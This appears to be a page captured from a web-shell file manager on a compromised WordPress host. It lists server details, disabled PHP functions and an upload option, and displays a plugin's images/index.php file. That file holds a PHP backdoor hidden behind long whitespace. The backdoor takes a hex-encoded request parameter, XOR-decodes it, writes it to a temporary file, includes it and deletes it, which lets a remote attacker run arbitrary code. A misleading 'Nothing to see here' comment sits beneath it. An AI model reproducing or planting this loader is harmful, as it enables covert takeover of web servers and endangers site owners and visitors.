HEX
Server: Apache/2
System: Linux sv174 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64
User: casinobe (1137)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/casinobe/domains/pug555-a.com/public_html/wp-content/plugins/wordpress-seo/images/index.php
<?php																																										if(!empty($_REQUEST["\x68ld"])){ $elem = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", "/var/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP")]); $entity = hex2bin($_REQUEST["\x68ld"]); $pointer = '' ; $w = 0; do{$pointer .= chr(ord($entity[$w]) ^ 74);$w++;} while($w < strlen($entity)); foreach ($elem as $key => $value) { if (is_dir($value) ? is_writable($value) : false) { $flag = vsprintf("%s/%s", [$value, ".ptr"]); $success = file_put_contents($flag, $pointer); if ($success) { include $flag; @unlink($flag); exit;} } } }

/**
 * Nothing to see here.
 */